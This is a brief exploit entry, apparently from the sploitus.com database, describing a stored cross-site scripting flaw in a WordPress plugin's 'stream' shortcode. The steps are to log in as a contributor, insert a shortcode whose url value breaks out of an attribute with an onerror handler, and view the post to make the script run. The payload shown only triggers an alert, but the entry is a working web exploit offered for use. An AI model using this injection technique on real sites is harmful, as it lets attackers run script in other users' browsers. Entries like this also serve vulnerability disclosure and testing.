Share
## https://sploitus.com/exploit?id=WPEX-ID:260C7E2D-D48C-42D6-AE05-BAD3F3BAC01D
Log in as contributor and add the following shortcode in a post [stream url='" onerror="alert(/XSS/)"']

Then view the post to trigger the XSS